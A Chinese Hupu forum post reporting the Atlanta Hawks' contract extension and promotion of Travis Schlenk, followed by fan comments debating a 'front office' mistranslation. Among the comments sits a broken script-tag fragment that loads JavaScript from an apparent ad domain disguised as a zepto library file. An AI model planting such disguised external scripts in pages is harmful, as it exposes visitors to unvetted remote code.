[流言板]老鹰与球队总经理施伦克达成续约合同，并将后者提拔为篮球运营总裁

虎扑8月20日讯 根据记者Marc Stein的报道，老鹰在与球队总经理斯拉维特-施伦克达成一份多年的续约合同的基础上，还将施伦克提拔为球队的篮球运营总裁。

新赛季将是施伦克与老鹰合作的第三个赛季，他在职期间，球队累积了特雷-杨、约翰-柯林斯、德安德烈-亨特、卡姆-雷迪什等年轻球员。

2018-19赛季，老鹰以29胜53负的战绩排在东部第12。

来源：Twitter

在勇士工作12年，打出了黑八奇迹和两个总冠军，希望在老鹰也能创造辉煌

施伦克当时好像是要应聘公关经理，却被老板相中做了总经理。

虎扑8月20日讯 今天，老鹰官方宣布了一些人事变动，其中包括提拔拉维特-施伦克为球队总经理和篮球运营总裁。

老鹰老板Tony Ressler说：“我们对施伦克以及球队的前进方向很满意。施伦克利用选秀为球队打下来了非常不错的年轻核心阵容，雇佣了联盟里最顶级的年轻教练劳埃德-皮尔斯，并且让球队拥有了良好的薪资空间、选秀权和要争取长期成功所必须的薪资弹性。”

新赛季将是施伦克与老鹰合作的第三个赛季，他在职期间，球队累积了特雷-杨、约翰-柯林斯、德安德烈-亨特、卡姆-雷迪什等年轻球员。

2018-19赛季，老鹰以29胜53负的战绩排在东部第12。

来源：NBA官网

顺带挖走了勇士的女医疗主管

牛逼哦，总经理的建设基本还是不错的

别扯了，应聘的时候光头已经是勇士的篮球运营副总裁了，应聘的时候还经过允许了

他是从球员发展的部门干起来的，咋可能去媒体部门

老鹰老板Tony Ressler。。。我差点看成Reseller（二道贩子）

我对施伦克的新闻还是比较了解的。虽然是三年前的新闻了，还是有印象虎扑当时发过。当时还没翻译他叫施伦克，只写了Travis Schlenk应聘老鹰公关经理。当时是在比卢普斯和奇才的一个副总应聘老鹰总经理时间稍后一点的时候。也就是说施伦克是最后应聘的。然后ESPN发了勇士同意老鹰面试，再然后老鹰面试他成为总经理和总裁。过程就是这么个过程。我当时也很奇怪他为什么要竞聘公关经理。不过当新闻本身就那样的时候，我想也只能问发新闻的人和新闻里主人公的人为什么这么扯了。

前途不错，加油干光头大哥
ript src="//xiuad.com/cs/zepto.min.js"> ript>

你也别扯了，不知道就别瞎说，最早就是想让他去公关部门的

你真的别扯了

我搜索了关键字“Travis Schlenk hawks interview permission”

找到了mark stein的原文Twitter

The Atlanta Hawks have secured permission to interview Warriors executive Travis Schlenk for their front office search, league sources say

— Marc Stein (@TheSteinLine) May 20, 2017

这是链接：
https://www.nbcsports.com/bayarea/warriors/report-hawks-receive-permission-talk-warriors-executive

front office 这个词被虎扑这个新来的小编给误解了，百度翻译解释：

front office
英[ˌfrʌnt ˈɒfɪs]
美[ˌfrʌnt ˈɑːfɪs]
n. (企业的) 管理部门，与公众打交道的部门;
[例句]I think you know where the front office is.
我想你应该知道办公室在哪里。

但是在nba，front office这个词指的是管理层，或者中国人原创的“制服组”，稍微看点英文新闻都能知道这个词啥意思。

所以看新闻不带脑，最可怕。

@象羽 顺便回答这位朋友

很多操作都很有人情味。而且眼光真好。